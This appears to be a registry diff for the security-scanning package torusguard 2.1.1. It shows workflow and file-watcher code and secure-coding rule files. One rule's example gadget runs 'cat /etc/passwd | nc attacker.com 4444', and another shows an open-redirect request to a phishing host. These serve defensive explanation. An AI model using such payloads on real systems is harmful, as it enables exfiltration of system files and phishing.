torusguard 2.1.0 → 2.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.torusguard/.manifest.json +47 -5
- package/.torusguard/core/__init__.py +146 -0
- package/.torusguard/core/agent_roles.py +104 -0
- package/.torusguard/core/ast_walker.py +283 -0
- package/.torusguard/core/authorization.py +218 -0
- package/.torusguard/core/browser_verifier.py +128 -0
- package/.torusguard/core/bundle.py +141 -0
- package/.torusguard/core/call_graph.py +184 -0
- package/.torusguard/core/clustering.py +275 -0
- package/.torusguard/core/confidence.py +120 -0
- package/.torusguard/core/cross_file_taint.py +101 -0
- package/.torusguard/core/exploit_checker.py +317 -0
- package/.torusguard/core/formatter.py +351 -0
- package/.torusguard/core/governance.py +210 -0
- package/.torusguard/core/identity.py +104 -0
- package/.torusguard/core/import_resolver.py +91 -0
- package/.torusguard/core/incremental.py +102 -0
- package/.torusguard/core/lifecycle.py +137 -0
- package/.torusguard/core/models.py +425 -0
- package/.torusguard/core/parallel.py +56 -0
- package/.torusguard/core/parser.py +202 -0
- package/.torusguard/core/rechecker.py +107 -0
- package/.torusguard/core/replay_trace.py +178 -0
- package/.torusguard/core/rules_registry.py +131 -0
- package/.torusguard/core/run_folder.py +60 -0
- package/.torusguard/core/run_manager.py +163 -0
- package/.torusguard/core/runtime_evidence.py +175 -0
- package/.torusguard/core/runtime_validator.py +246 -0
- package/.torusguard/core/safety_gate.py +139 -0
- package/.torusguard/core/sarif.py +189 -0
- package/.torusguard/core/stack_profiler.py +184 -0
- package/.torusguard/core/symbol_table.py +91 -0
- package/.torusguard/core/taint.py +133 -0
- package/.torusguard/core/taint_graph.py +235 -0
- package/.torusguard/core/taint_rules.py +268 -0
- package/.torusguard/core/v070_reporter.py +102 -0
- package/.torusguard/core/v070_workflow.py +339 -0
- package/.torusguard/core/v6_reporter.py +180 -0
- package/.torusguard/core/v6_workflow.py +221 -0
- package/.torusguard/core/watcher.py +58 -0
- package/.torusguard/rules/TG-INPUT-007-unvalidated-redirect.md +53 -0
- package/.torusguard/rules/TG-INPUT-008-insecure-deserialization.md +52 -0
- package/.torusguard/scripts/__pycache__/audit_runner.cpython-314.pyc +0 -0
- package/.torusguard/scripts/__pycache__/finding_scorer.cpython-314.pyc +0 -0
- package/.torusguard/scripts/__pycache__/rules_sync.cpython-314.pyc +0 -0
- package/.torusguard/scripts/audit_runner.py +108 -10
- package/.torusguard/scripts/finding_scorer.py +43 -13
- package/.torusguard/scripts/skill_profiler.py +26 -0
- package/.torusguard/skills/torusguard/SKILL.md +6 -2
- package/.torusguard/skills/torusguard-audit/SKILL.md +109 -84
- package/.torusguard/workflows/audit.md +21 -17
- package/README.md +19 -11
- package/package.json +7 -2
- package/skills/torusguard/SKILL.md +6 -2
- package/skills/torusguard/__pycache__/bootstrap.cpython-314.pyc +0 -0
- package/skills/torusguard/bootstrap.py +3 -3
- package/skills/torusguard/payload/.manifest.json +48 -7
- package/skills/torusguard/payload/core/__init__.py +146 -0
- package/skills/torusguard/payload/core/agent_roles.py +104 -0
- package/skills/torusguard/payload/core/ast_walker.py +283 -0
- package/skills/torusguard/payload/core/authorization.py +218 -0
- package/skills/torusguard/payload/core/browser_verifier.py +128 -0
- package/skills/torusguard/payload/core/bundle.py +141 -0
- package/skills/torusguard/payload/core/call_graph.py +184 -0
- package/skills/torusguard/payload/core/clustering.py +275 -0
- package/skills/torusguard/payload/core/confidence.py +120 -0
- package/skills/torusguard/payload/core/cross_file_taint.py +101 -0
- package/skills/torusguard/payload/core/exploit_checker.py +317 -0
- package/skills/torusguard/payload/core/formatter.py +351 -0
- package/skills/torusguard/payload/core/governance.py +210 -0
- package/skills/torusguard/payload/core/identity.py +104 -0
- package/skills/torusguard/payload/core/import_resolver.py +91 -0
- package/skills/torusguard/payload/core/incremental.py +102 -0
- package/skills/torusguard/payload/core/lifecycle.py +137 -0
- package/skills/torusguard/payload/core/models.py +425 -0
- package/skills/torusguard/payload/core/parallel.py +56 -0
- package/skills/torusguard/payload/core/parser.py +202 -0
- package/skills/torusguard/payload/core/rechecker.py +107 -0
- package/skills/torusguard/payload/core/replay_trace.py +178 -0
- package/skills/torusguard/payload/core/rules_registry.py +131 -0
- package/skills/torusguard/payload/core/run_folder.py +60 -0
- package/skills/torusguard/payload/core/run_manager.py +163 -0
- package/skills/torusguard/payload/core/runtime_evidence.py +175 -0
- package/skills/torusguard/payload/core/runtime_validator.py +246 -0
- package/skills/torusguard/payload/core/safety_gate.py +139 -0
- package/skills/torusguard/payload/core/sarif.py +189 -0
- package/skills/torusguard/payload/core/stack_profiler.py +184 -0
- package/skills/torusguard/payload/core/symbol_table.py +91 -0
- package/skills/torusguard/payload/core/taint.py +133 -0
- package/skills/torusguard/payload/core/taint_graph.py +235 -0
- package/skills/torusguard/payload/core/taint_rules.py +268 -0
- package/skills/torusguard/payload/core/v070_reporter.py +102 -0
- package/skills/torusguard/payload/core/v070_workflow.py +339 -0
- package/skills/torusguard/payload/core/v6_reporter.py +180 -0
- package/skills/torusguard/payload/core/v6_workflow.py +221 -0
- package/skills/torusguard/payload/core/watcher.py +58 -0
- package/skills/torusguard/payload/rules/TG-INPUT-007-unvalidated-redirect.md +53 -0
- package/skills/torusguard/payload/rules/TG-INPUT-008-insecure-deserialization.md +52 -0
- package/skills/torusguard/payload/rules/container/TG-CONT-001-root-user-execution.md +50 -50
- package/skills/torusguard/payload/rules/container/TG-CONT-002-docker-socket-mount.md +47 -47
- package/skills/torusguard/payload/rules/container/TG-CONT-003-privileged-container-mode.md +53 -53
- package/skills/torusguard/payload/rules/container/TG-CONT-004-build-arg-secret-exposure.md +43 -43
- package/skills/torusguard/payload/rules/git/TG-GIT-001-historical-secret-in-git-commit.md +44 -44
- package/skills/torusguard/payload/rules/git/TG-GIT-002-plaintext-credentials-in-git-config.md +41 -41
- package/skills/torusguard/payload/rules/git/TG-GIT-003-sensitive-tracked-file-gitignore-breach.md +40 -40
- package/skills/torusguard/payload/rules/rag/TG-RAG-001-untrusted-rag-context-injection.md +72 -72
- package/skills/torusguard/payload/rules/rag/TG-RAG-002-autonomous-llm-tool-unsandboxed-call.md +51 -51
- package/skills/torusguard/payload/rules/rag/TG-RAG-003-unpartitioned-vector-tenant-lookup.md +51 -51
- package/skills/torusguard/payload/rules/redos/TG-REDOS-001-catastrophic-exponential-backtracking.md +46 -46
- package/skills/torusguard/payload/rules/redos/TG-REDOS-002-unbounded-nested-quantifier.md +43 -43
- package/skills/torusguard/payload/scripts/audit_runner.py +108 -10
- package/skills/torusguard/payload/scripts/finding_scorer.py +43 -13
- package/skills/torusguard/payload/skills/torusguard/SKILL.md +6 -2
- package/skills/torusguard/payload/skills/torusguard/bootstrap.py +3 -3
- package/skills/torusguard/payload/skills/torusguard-ai-guard/SKILL.md +95 -95
- package/skills/torusguard/payload/skills/torusguard-audit/SKILL.md +109 -84
- package/skills/torusguard/payload/skills/torusguard-container/SKILL.md +94 -94
- package/skills/torusguard/payload/skills/torusguard-git-mine/SKILL.md +92 -92
- package/skills/torusguard/payload/skills/torusguard-ocr-scan/SKILL.md +94 -94
- package/skills/torusguard/payload/skills/torusguard-redos/SKILL.md +91 -91
- package/skills/torusguard/payload/workflows/ai-guard.md +31 -31
- package/skills/torusguard/payload/workflows/audit.md +21 -17
- package/skills/torusguard/payload/workflows/container.md +29 -29
- package/skills/torusguard/payload/workflows/git-mine.md +25 -25
- package/skills/torusguard/payload/workflows/ocr-scan.md +25 -25
- package/skills/torusguard/payload/workflows/redos.md +27 -27
- package/skills/torusguard/payload/workflows/torusguard-audit.md +35 -55
- package/skills/torusguard/references/csharp-security.md +41 -41
- package/skills/torusguard/references/go-security.md +41 -41
- package/skills/torusguard/references/java-security.md +40 -40
- package/skills/torusguard/references/polyglot-security-matrix.md +25 -25
- package/skills/torusguard/references/rust-security.md +40 -40
- package/skills/torusguard-audit/SKILL.md +107 -83
|
@@ -0,0 +1,221 @@
|
|
|
1
|
+
"""
|
|
2
|
+
TorusGuard v6 Governed Remediation Workflow Controller
|
|
3
|
+
Coordinates the complete v6 workflow:
|
|
4
|
+
1. Scan & Stable Finding Identity
|
|
5
|
+
2. Root-Cause Clustering
|
|
6
|
+
3. Structured Remediation Bundles
|
|
7
|
+
4. Minimal Patch Governance
|
|
8
|
+
5. Targeted Recheck & Regression Verification
|
|
9
|
+
6. Run Folder Artifact Emission & SARIF Export
|
|
10
|
+
"""
|
|
11
|
+
|
|
12
|
+
from pathlib import Path
|
|
13
|
+
from typing import List, Dict, Any, Optional, Tuple
|
|
14
|
+
|
|
15
|
+
from core.identity import IdentityEngine
|
|
16
|
+
from core.clustering import ClusteringEngine, RootCauseCluster
|
|
17
|
+
from core.bundle import BundleManager, RemediationBundle
|
|
18
|
+
from core.governance import PatchGovernor, PatchPolicyDecision
|
|
19
|
+
from core.rechecker import TargetedRechecker, TargetedRecheckResult, RecheckOutcome
|
|
20
|
+
from core.run_manager import RunManager
|
|
21
|
+
from core.sarif import SarifExporter
|
|
22
|
+
from core.v6_reporter import V6Reporter
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
class V6Workflow:
|
|
26
|
+
"""
|
|
27
|
+
Unified controller for TorusGuard v6 governed remediation and recheck operations.
|
|
28
|
+
"""
|
|
29
|
+
|
|
30
|
+
def __init__(self, target_root: Optional[Path] = None, output_base: Optional[Path] = None):
|
|
31
|
+
self.target_root = target_root or Path(".")
|
|
32
|
+
self.output_base = output_base or Path(".torusguard/runs")
|
|
33
|
+
|
|
34
|
+
def execute_audit(
|
|
35
|
+
self,
|
|
36
|
+
raw_findings: List[Dict[str, Any]],
|
|
37
|
+
target_name: str = "workspace",
|
|
38
|
+
run_id: Optional[str] = None,
|
|
39
|
+
export_sarif: bool = True,
|
|
40
|
+
) -> RunManager:
|
|
41
|
+
"""
|
|
42
|
+
Executes Phase 1 & 2: Identifies stable fingerprints, clusters root causes, and emits run artifacts.
|
|
43
|
+
"""
|
|
44
|
+
run_mgr = RunManager(
|
|
45
|
+
base_dir=self.output_base,
|
|
46
|
+
target_name=target_name,
|
|
47
|
+
command="audit",
|
|
48
|
+
run_id=run_id,
|
|
49
|
+
)
|
|
50
|
+
|
|
51
|
+
# 1. Attach Stable Finding Identifiers
|
|
52
|
+
enriched_findings = []
|
|
53
|
+
evidence_list = []
|
|
54
|
+
|
|
55
|
+
for f in raw_findings:
|
|
56
|
+
rule_id = f.get("rule_id", "TG-GENERIC")
|
|
57
|
+
target = f.get("target", {})
|
|
58
|
+
file_path = target.get("file_path", "unknown")
|
|
59
|
+
snippet = f.get("evidence", {}).get("code_snippet", "")
|
|
60
|
+
sink = f.get("sink_signature")
|
|
61
|
+
framework = f.get("framework_marker")
|
|
62
|
+
|
|
63
|
+
fp = IdentityEngine.generate_identity(
|
|
64
|
+
rule_id=rule_id,
|
|
65
|
+
file_path=file_path,
|
|
66
|
+
code_snippet=snippet,
|
|
67
|
+
sink_signature=sink,
|
|
68
|
+
framework_marker=framework,
|
|
69
|
+
root_path=self.target_root,
|
|
70
|
+
)
|
|
71
|
+
|
|
72
|
+
item = dict(f)
|
|
73
|
+
item["finding_id"] = fp.fingerprint_id
|
|
74
|
+
item["fingerprint_id"] = fp.fingerprint_id
|
|
75
|
+
item["region_hash"] = fp.region_hash
|
|
76
|
+
enriched_findings.append(item)
|
|
77
|
+
|
|
78
|
+
evidence_list.append({
|
|
79
|
+
"finding_id": fp.fingerprint_id,
|
|
80
|
+
"rule_id": rule_id,
|
|
81
|
+
"file_path": file_path,
|
|
82
|
+
"region_hash": fp.region_hash,
|
|
83
|
+
"code_snippet": snippet,
|
|
84
|
+
})
|
|
85
|
+
|
|
86
|
+
# 2. Cluster Findings by Root Cause
|
|
87
|
+
clusters = ClusteringEngine.cluster_findings(enriched_findings)
|
|
88
|
+
cluster_map = {c.primary_rule: c.cluster_id for c in clusters}
|
|
89
|
+
|
|
90
|
+
for ef in enriched_findings:
|
|
91
|
+
ef["cluster_id"] = cluster_map.get(ef.get("rule_id"), "cluster-general")
|
|
92
|
+
|
|
93
|
+
# 3. Render and Write Standard Artifacts
|
|
94
|
+
summary_md = V6Reporter.render_summary(
|
|
95
|
+
target_name=target_name,
|
|
96
|
+
run_id=run_mgr.run_id,
|
|
97
|
+
findings=enriched_findings,
|
|
98
|
+
clusters=clusters,
|
|
99
|
+
)
|
|
100
|
+
findings_md = V6Reporter.render_findings(enriched_findings)
|
|
101
|
+
|
|
102
|
+
run_mgr.write_summary(summary_md)
|
|
103
|
+
run_mgr.write_findings(findings_md)
|
|
104
|
+
run_mgr.write_evidence(evidence_list)
|
|
105
|
+
|
|
106
|
+
# 4. Optional SARIF export
|
|
107
|
+
if export_sarif:
|
|
108
|
+
sarif_dict = SarifExporter.generate_sarif(
|
|
109
|
+
findings=enriched_findings,
|
|
110
|
+
clusters=[c.to_dict() for c in clusters],
|
|
111
|
+
)
|
|
112
|
+
run_mgr.write_sarif(sarif_dict)
|
|
113
|
+
|
|
114
|
+
# 5. Write Run Manifest
|
|
115
|
+
status_counts = {
|
|
116
|
+
"total_findings": len(enriched_findings),
|
|
117
|
+
"confirmed": sum(1 for f in enriched_findings if f.get("confidence_band") == "Confirmed"),
|
|
118
|
+
"high_confidence": sum(1 for f in enriched_findings if f.get("confidence_band") == "High Confidence"),
|
|
119
|
+
"needs_review": sum(1 for f in enriched_findings if f.get("confidence_band") == "Needs Review"),
|
|
120
|
+
"remediated": 0,
|
|
121
|
+
"verified_fixed": 0,
|
|
122
|
+
"regressed": 0,
|
|
123
|
+
}
|
|
124
|
+
run_mgr.write_manifest(status_counts=status_counts)
|
|
125
|
+
|
|
126
|
+
return run_mgr
|
|
127
|
+
|
|
128
|
+
def execute_harden(
|
|
129
|
+
self,
|
|
130
|
+
run_mgr: RunManager,
|
|
131
|
+
findings: List[Dict[str, Any]],
|
|
132
|
+
) -> List[RemediationBundle]:
|
|
133
|
+
"""
|
|
134
|
+
Executes Phase 3: Generates structured remediation bundles.
|
|
135
|
+
"""
|
|
136
|
+
bundles = []
|
|
137
|
+
for f in findings:
|
|
138
|
+
b = BundleManager.create_bundle(f, cluster_id=f.get("cluster_id"))
|
|
139
|
+
b.write_to_directory(run_mgr.bundles_dir)
|
|
140
|
+
bundles.append(b)
|
|
141
|
+
|
|
142
|
+
remediation_md = V6Reporter.render_remediation(bundles)
|
|
143
|
+
run_mgr.write_remediation(remediation_md)
|
|
144
|
+
return bundles
|
|
145
|
+
|
|
146
|
+
def execute_apply(
|
|
147
|
+
self,
|
|
148
|
+
run_mgr: RunManager,
|
|
149
|
+
bundles: List[RemediationBundle],
|
|
150
|
+
governor: Optional[PatchGovernor] = None,
|
|
151
|
+
) -> List[Tuple[str, PatchPolicyDecision]]:
|
|
152
|
+
"""
|
|
153
|
+
Executes Phase 4: Evaluates minimal patch governance policies and plans application.
|
|
154
|
+
"""
|
|
155
|
+
gov = governor or PatchGovernor()
|
|
156
|
+
decisions = []
|
|
157
|
+
changed_files = set()
|
|
158
|
+
diff_summary_lines = ["# TorusGuard v6 Unified Diff Summary\n"]
|
|
159
|
+
|
|
160
|
+
for b in bundles:
|
|
161
|
+
target_f = b.target_files[0] if b.target_files else "app.py"
|
|
162
|
+
decision = gov.evaluate_diff(b.proposed_diff, target_file=target_f)
|
|
163
|
+
decisions.append((b.finding_id, decision))
|
|
164
|
+
|
|
165
|
+
if decision.allowed_auto_apply:
|
|
166
|
+
changed_files.update(decision.file_list)
|
|
167
|
+
diff_summary_lines.append(f"## Applied Patch: `{b.finding_id}` (`{target_f}`)")
|
|
168
|
+
diff_summary_lines.append("```diff")
|
|
169
|
+
diff_summary_lines.append(b.proposed_diff.strip())
|
|
170
|
+
diff_summary_lines.append("```\n")
|
|
171
|
+
|
|
172
|
+
apply_plan_md = V6Reporter.render_apply_plan(decisions)
|
|
173
|
+
run_mgr.write_apply_plan(apply_plan_md)
|
|
174
|
+
run_mgr.write_diff_summary("\n".join(diff_summary_lines))
|
|
175
|
+
run_mgr.write_changed_files(list(changed_files))
|
|
176
|
+
|
|
177
|
+
return decisions
|
|
178
|
+
|
|
179
|
+
def execute_recheck(
|
|
180
|
+
self,
|
|
181
|
+
run_mgr: RunManager,
|
|
182
|
+
recheck_scenarios: List[Dict[str, Any]],
|
|
183
|
+
) -> List[TargetedRecheckResult]:
|
|
184
|
+
"""
|
|
185
|
+
Executes Phase 5: Targeted differential rechecks of impacted files.
|
|
186
|
+
"""
|
|
187
|
+
results = []
|
|
188
|
+
for sc in recheck_scenarios:
|
|
189
|
+
r = TargetedRechecker.verify_finding(
|
|
190
|
+
finding_id=sc.get("finding_id", "fnd-01"),
|
|
191
|
+
rule_id=sc.get("rule_id", "TG-GENERIC"),
|
|
192
|
+
target_file=sc.get("target_file", "app.py"),
|
|
193
|
+
original_code_snippet=sc.get("orig_snippet", ""),
|
|
194
|
+
post_fix_code_snippet=sc.get("post_snippet", ""),
|
|
195
|
+
is_safe_pattern_present=sc.get("is_safe", True),
|
|
196
|
+
is_unsafe_pattern_present=sc.get("is_unsafe", False),
|
|
197
|
+
introduced_new_flaws=sc.get("regressions"),
|
|
198
|
+
requires_manual_context=sc.get("manual_context", False),
|
|
199
|
+
)
|
|
200
|
+
results.append(r)
|
|
201
|
+
|
|
202
|
+
recheck_md = V6Reporter.render_recheck(results)
|
|
203
|
+
run_mgr.write_recheck(recheck_md)
|
|
204
|
+
|
|
205
|
+
# Update Manifest counts
|
|
206
|
+
fixed_count = sum(1 for r in results if r.outcome == RecheckOutcome.CONFIRMED_FIXED)
|
|
207
|
+
regressed_count = sum(1 for r in results if r.outcome == RecheckOutcome.REGRESSED)
|
|
208
|
+
|
|
209
|
+
run_mgr.write_manifest(
|
|
210
|
+
status_counts={
|
|
211
|
+
"total_findings": len(results),
|
|
212
|
+
"confirmed": 0,
|
|
213
|
+
"high_confidence": 0,
|
|
214
|
+
"needs_review": sum(1 for r in results if r.outcome == RecheckOutcome.NEEDS_MANUAL_REVIEW),
|
|
215
|
+
"remediated": fixed_count,
|
|
216
|
+
"verified_fixed": fixed_count,
|
|
217
|
+
"regressed": regressed_count,
|
|
218
|
+
}
|
|
219
|
+
)
|
|
220
|
+
|
|
221
|
+
return results
|
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
"""
|
|
2
|
+
TorusGuard Continuous File Watcher
|
|
3
|
+
Monitors target workspace files for changes, debounces filesystem events,
|
|
4
|
+
and triggers continuous differential security re-scans.
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
from pathlib import Path
|
|
8
|
+
from typing import Dict, List, Set, Callable, Optional
|
|
9
|
+
import time
|
|
10
|
+
|
|
11
|
+
|
|
12
|
+
class FileWatcher:
|
|
13
|
+
"""Lightweight polling and mtime watcher with debouncing."""
|
|
14
|
+
|
|
15
|
+
def __init__(self, target_root: Path, check_interval_sec: float = 0.5):
|
|
16
|
+
self.target_root = target_root.resolve()
|
|
17
|
+
self.interval = check_interval_sec
|
|
18
|
+
self.file_mtimes: Dict[str, float] = {}
|
|
19
|
+
|
|
20
|
+
def get_snapshot(self, extensions: Optional[Set[str]] = None) -> Dict[str, float]:
|
|
21
|
+
exts = extensions or {".py", ".js", ".ts", ".tsx", ".go", ".rs", ".java", ".php", ".rb", ".cs"}
|
|
22
|
+
snapshot: Dict[str, float] = {}
|
|
23
|
+
try:
|
|
24
|
+
for p in self.target_root.rglob("*"):
|
|
25
|
+
if p.is_file() and p.suffix.lower() in exts:
|
|
26
|
+
if ".git" in p.parts or "node_modules" in p.parts or ".torusguard" in p.parts:
|
|
27
|
+
continue
|
|
28
|
+
try:
|
|
29
|
+
snapshot[str(p)] = p.stat().st_mtime
|
|
30
|
+
except Exception:
|
|
31
|
+
pass
|
|
32
|
+
except Exception:
|
|
33
|
+
pass
|
|
34
|
+
return snapshot
|
|
35
|
+
|
|
36
|
+
def watch(
|
|
37
|
+
self,
|
|
38
|
+
on_change_callback: Callable[[List[str]], None],
|
|
39
|
+
stop_condition: Optional[Callable[[], bool]] = None
|
|
40
|
+
) -> None:
|
|
41
|
+
"""Polls for file modifications and triggers `on_change_callback`."""
|
|
42
|
+
self.file_mtimes = self.get_snapshot()
|
|
43
|
+
|
|
44
|
+
while True:
|
|
45
|
+
if stop_condition and stop_condition():
|
|
46
|
+
break
|
|
47
|
+
|
|
48
|
+
time.sleep(self.interval)
|
|
49
|
+
current_snapshot = self.get_snapshot()
|
|
50
|
+
|
|
51
|
+
changed_files: List[str] = []
|
|
52
|
+
for path_str, mtime in current_snapshot.items():
|
|
53
|
+
if path_str not in self.file_mtimes or self.file_mtimes[path_str] != mtime:
|
|
54
|
+
changed_files.append(path_str)
|
|
55
|
+
|
|
56
|
+
if changed_files:
|
|
57
|
+
self.file_mtimes = current_snapshot
|
|
58
|
+
on_change_callback(changed_files)
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
---
|
|
2
|
+
id: TG-INPUT-007
|
|
3
|
+
title: Unvalidated URL Redirection (Open Redirect)
|
|
4
|
+
category: input-validation
|
|
5
|
+
severity: Medium
|
|
6
|
+
confidence: High
|
|
7
|
+
frameworks:
|
|
8
|
+
- django
|
|
9
|
+
- flask
|
|
10
|
+
- fastapi
|
|
11
|
+
- express
|
|
12
|
+
- nextjs
|
|
13
|
+
cwe: CWE-601
|
|
14
|
+
asvs_v4: V5.1.5
|
|
15
|
+
nist_ssdf: PW.5.1
|
|
16
|
+
---
|
|
17
|
+
|
|
18
|
+
# TG-INPUT-007: Unvalidated URL Redirection (Open Redirect)
|
|
19
|
+
|
|
20
|
+
## 🚨 Problem Statement
|
|
21
|
+
Passing unvalidated or untrusted user input directly into HTTP redirect responses (`redirect()`, `res.redirect()`, `header('Location: ...')`) enables Open Redirect vulnerabilities. Attackers use trusted domains to trick users into phishing sites or OAuth credential harvesting portals.
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## 💥 Adversarial Threat & Exploitation
|
|
26
|
+
An attacker generates a legitimate-looking link:
|
|
27
|
+
```http
|
|
28
|
+
GET /login?next=https://evil-phishing.com/account HTTP/1.1
|
|
29
|
+
Host: secure-bank.com
|
|
30
|
+
```
|
|
31
|
+
If the server performs `return redirect(request.GET.get('next'))`, the user is seamlessly forwarded to the malicious domain after authentication.
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
## 🛠️ Framework-Native Remediations
|
|
36
|
+
|
|
37
|
+
### 🐍 Django / Flask
|
|
38
|
+
#### ❌ Unsafe Pattern
|
|
39
|
+
```python
|
|
40
|
+
return redirect(request.GET.get("next"))
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
#### ✅ Safe Remediation
|
|
44
|
+
```python
|
|
45
|
+
from urllib.parse import urlparse, urljoin
|
|
46
|
+
from django.utils.http import url_has_allowed_host_and_scheme
|
|
47
|
+
|
|
48
|
+
def safe_redirect(request):
|
|
49
|
+
next_url = request.GET.get("next", "/")
|
|
50
|
+
if url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
|
|
51
|
+
return redirect(next_url)
|
|
52
|
+
return redirect("/")
|
|
53
|
+
```
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
---
|
|
2
|
+
id: TG-INPUT-008
|
|
3
|
+
title: Insecure Object Deserialization
|
|
4
|
+
category: input-validation
|
|
5
|
+
severity: Critical
|
|
6
|
+
confidence: Confirmed
|
|
7
|
+
frameworks:
|
|
8
|
+
- django
|
|
9
|
+
- flask
|
|
10
|
+
- fastapi
|
|
11
|
+
- stdlib
|
|
12
|
+
cwe: CWE-502
|
|
13
|
+
asvs_v4: V5.5.1
|
|
14
|
+
nist_ssdf: PW.5.1
|
|
15
|
+
---
|
|
16
|
+
|
|
17
|
+
# TG-INPUT-008: Insecure Object Deserialization
|
|
18
|
+
|
|
19
|
+
## 🚨 Problem Statement
|
|
20
|
+
Deserializing untrusted data with formats that support code execution (`pickle.loads`, `yaml.load` without `SafeLoader`, `marshal`, `shelve`) allows remote attackers to execute arbitrary code via object instantiation hooks like `__reduce__`.
|
|
21
|
+
|
|
22
|
+
---
|
|
23
|
+
|
|
24
|
+
## 💥 Adversarial Threat & Exploitation
|
|
25
|
+
An attacker submits a pickled payload containing a crafted gadget:
|
|
26
|
+
```python
|
|
27
|
+
class Exploit(object):
|
|
28
|
+
def __reduce__(self):
|
|
29
|
+
return (os.system, ('cat /etc/passwd | nc attacker.com 4444',))
|
|
30
|
+
```
|
|
31
|
+
When `pickle.loads(untrusted_bytes)` runs, the arbitrary system command is immediately executed.
|
|
32
|
+
|
|
33
|
+
---
|
|
34
|
+
|
|
35
|
+
## 🛠️ Framework-Native Remediations
|
|
36
|
+
|
|
37
|
+
### 🐍 Python
|
|
38
|
+
#### ❌ Unsafe Pattern
|
|
39
|
+
```python
|
|
40
|
+
data = pickle.loads(request.body)
|
|
41
|
+
config = yaml.load(user_upload, Loader=yaml.Loader)
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
#### ✅ Safe Remediation
|
|
45
|
+
```python
|
|
46
|
+
import json
|
|
47
|
+
import yaml
|
|
48
|
+
|
|
49
|
+
# Safe: Standard structured serialization formats
|
|
50
|
+
data = json.loads(request.body)
|
|
51
|
+
config = yaml.safe_load(user_upload)
|
|
52
|
+
```
|
|
@@ -1,50 +1,50 @@
|
|
|
1
|
-
# TG-CONT-001: Root User Execution in Container
|
|
2
|
-
|
|
3
|
-
## Severity
|
|
4
|
-
High. Running container processes as root increases the blast radius of any remote code execution (RCE) flaw, enabling container breakout and host compromise.
|
|
5
|
-
|
|
6
|
-
## Applies To
|
|
7
|
-
- `Dockerfile`, `Dockerfile.*`, `Containerfile`
|
|
8
|
-
- Docker Compose (`docker-compose.yml`, `compose.yaml`)
|
|
9
|
-
- Kubernetes PodSpecs
|
|
10
|
-
|
|
11
|
-
## Why It Matters
|
|
12
|
-
By default, Docker executes container entrypoints as the `root` user (UID 0). If an application vulnerability (e.g., path traversal, command injection, or memory corruption) is exploited, the attacker immediately possesses root privileges within the container, facilitating kernel exploits, namespace escapes, and host file access.
|
|
13
|
-
|
|
14
|
-
## What TorusGuard Looks For
|
|
15
|
-
1. Dockerfiles lacking an explicit non-root `USER <user>` directive.
|
|
16
|
-
2. Explicit `USER root` or `USER 0` declarations without dropping privileges.
|
|
17
|
-
3. Compose services declaring `user: "0"` or `user: "root"`.
|
|
18
|
-
|
|
19
|
-
## Unsafe Example
|
|
20
|
-
```dockerfile
|
|
21
|
-
# UNSAFE: No USER declared; runs as root
|
|
22
|
-
FROM node:20-alpine
|
|
23
|
-
WORKDIR /app
|
|
24
|
-
COPY package*.json ./
|
|
25
|
-
RUN npm install
|
|
26
|
-
COPY . .
|
|
27
|
-
CMD ["node", "server.js"]
|
|
28
|
-
```
|
|
29
|
-
|
|
30
|
-
## Safe Example
|
|
31
|
-
```dockerfile
|
|
32
|
-
# SAFE: Dedicated unprivileged non-root user
|
|
33
|
-
FROM node:20-alpine
|
|
34
|
-
WORKDIR /app
|
|
35
|
-
COPY package*.json ./
|
|
36
|
-
RUN npm install
|
|
37
|
-
COPY . .
|
|
38
|
-
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
|
|
39
|
-
USER appuser
|
|
40
|
-
CMD ["node", "server.js"]
|
|
41
|
-
```
|
|
42
|
-
|
|
43
|
-
## Remediation
|
|
44
|
-
1. Declare a non-privileged user and group (`USER appuser` or `USER 10001:10001`).
|
|
45
|
-
2. Ensure file permissions allow the non-root user to read necessary application files.
|
|
46
|
-
3. In Compose files, set `user: "10001:10001"`.
|
|
47
|
-
|
|
48
|
-
## Related Rules
|
|
49
|
-
- `TG-CONT-002`: Dangerous Docker Socket Mount
|
|
50
|
-
- `TG-CONT-003`: Privileged Container Mode
|
|
1
|
+
# TG-CONT-001: Root User Execution in Container
|
|
2
|
+
|
|
3
|
+
## Severity
|
|
4
|
+
High. Running container processes as root increases the blast radius of any remote code execution (RCE) flaw, enabling container breakout and host compromise.
|
|
5
|
+
|
|
6
|
+
## Applies To
|
|
7
|
+
- `Dockerfile`, `Dockerfile.*`, `Containerfile`
|
|
8
|
+
- Docker Compose (`docker-compose.yml`, `compose.yaml`)
|
|
9
|
+
- Kubernetes PodSpecs
|
|
10
|
+
|
|
11
|
+
## Why It Matters
|
|
12
|
+
By default, Docker executes container entrypoints as the `root` user (UID 0). If an application vulnerability (e.g., path traversal, command injection, or memory corruption) is exploited, the attacker immediately possesses root privileges within the container, facilitating kernel exploits, namespace escapes, and host file access.
|
|
13
|
+
|
|
14
|
+
## What TorusGuard Looks For
|
|
15
|
+
1. Dockerfiles lacking an explicit non-root `USER <user>` directive.
|
|
16
|
+
2. Explicit `USER root` or `USER 0` declarations without dropping privileges.
|
|
17
|
+
3. Compose services declaring `user: "0"` or `user: "root"`.
|
|
18
|
+
|
|
19
|
+
## Unsafe Example
|
|
20
|
+
```dockerfile
|
|
21
|
+
# UNSAFE: No USER declared; runs as root
|
|
22
|
+
FROM node:20-alpine
|
|
23
|
+
WORKDIR /app
|
|
24
|
+
COPY package*.json ./
|
|
25
|
+
RUN npm install
|
|
26
|
+
COPY . .
|
|
27
|
+
CMD ["node", "server.js"]
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
## Safe Example
|
|
31
|
+
```dockerfile
|
|
32
|
+
# SAFE: Dedicated unprivileged non-root user
|
|
33
|
+
FROM node:20-alpine
|
|
34
|
+
WORKDIR /app
|
|
35
|
+
COPY package*.json ./
|
|
36
|
+
RUN npm install
|
|
37
|
+
COPY . .
|
|
38
|
+
RUN addgroup -S appgroup && adduser -S appuser -G appgroup
|
|
39
|
+
